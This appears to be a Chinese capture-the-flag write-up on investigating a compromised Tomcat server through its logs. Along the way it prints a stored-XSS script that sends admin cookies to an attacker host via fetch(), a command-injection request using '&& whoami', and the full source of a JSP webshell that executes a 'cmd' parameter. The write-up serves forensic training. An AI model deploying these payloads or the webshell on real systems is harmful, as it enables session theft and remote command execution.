日志分析-Tomcat日志分析
小王在自己的服务器上安装配置了Tomcat,并写了几个简单的网页。但由于安全意识不足,很快就被攻击者利用了。请你帮他排查一下存在的安全问题。
步骤一
1、Tomcat日志所在的绝对路径是?

一般windows下tomcat的日志路径为C:\server\apache-tomcat-11.0.5\logs
拿到flag{C:\server\apache-tomcat-11.0.5\logs}
步骤二
2、攻击者对某网站进行了口令爆破。请你判断口令成功匹配的请求的响应码是?

`if (adminUsername.equals(username) && adminPassword.equals(password)) {
// 登录成功,设置session
session.setAttribute("username", username);
// 使用302重定向
response.setStatus(HttpServletResponse.SC_MOVED_TEMPORARILY);
response.setHeader("Location", "admin.jsp");
return; // 立即终止后续输出
} else {
// 保持200状态码并输出错误信息
response.setStatus(200);`可以从源码中看到登录成功进行302的跳转
可以看到loginCheck.jsp是登录页面,我们查看日志

会发现到最后的状态码为302,也就是登陆成功的跳转
所以flag{302}
步骤三
3、攻击者向admin.jsp的管理员留言板界面发送了恶意JS代码从而构成了存储型XSS。已知攻击者试图盗取管理员cookie,并将其发送至其本地服务器上。
<script> var cookie = document.cookie; fetch('http://192.168.5.66:5000/steal?cookie=' + encodeURIComponent(cookie)); </script>
可以看到在留恋中插入了恶意的js语句 拿到flag{5000}
步骤四
攻击者利用执行系统命令的参数是?
192.168.5.66 - - [19/Mar/2025:23:07:54 +0800] "GET /connect/ping.jsp?ip=8.8.8.8+%26%26+whoami HTTP/1.1" 200 1379
可以看到这样一条日志,发现攻击者执行系统命令的参数为ip flag{ip}
步骤五
5、攻击者通过某种手段遗留了后门文件,请你找到该文件并按需提交其文件中的flag
&& echo ^<%@ page language="java" import="java.util.*,java.io.*" %^>^<% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line + "^<br^>"); } } %^> > C:\server\apache-tomcat-11.0.5\webapps\ROOT\hello.jsp在日志中发现执行了这样一条命令
查看hello.jsp
<%@ page language="java" import="java.util.*,java.io.*" %><% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line + "^<br^>"); } } %> /* 疑似flag? eW91bWFkZWl0 */

进行base64解码拿到flag{youmadeit}

浙公网安备 33010602011771号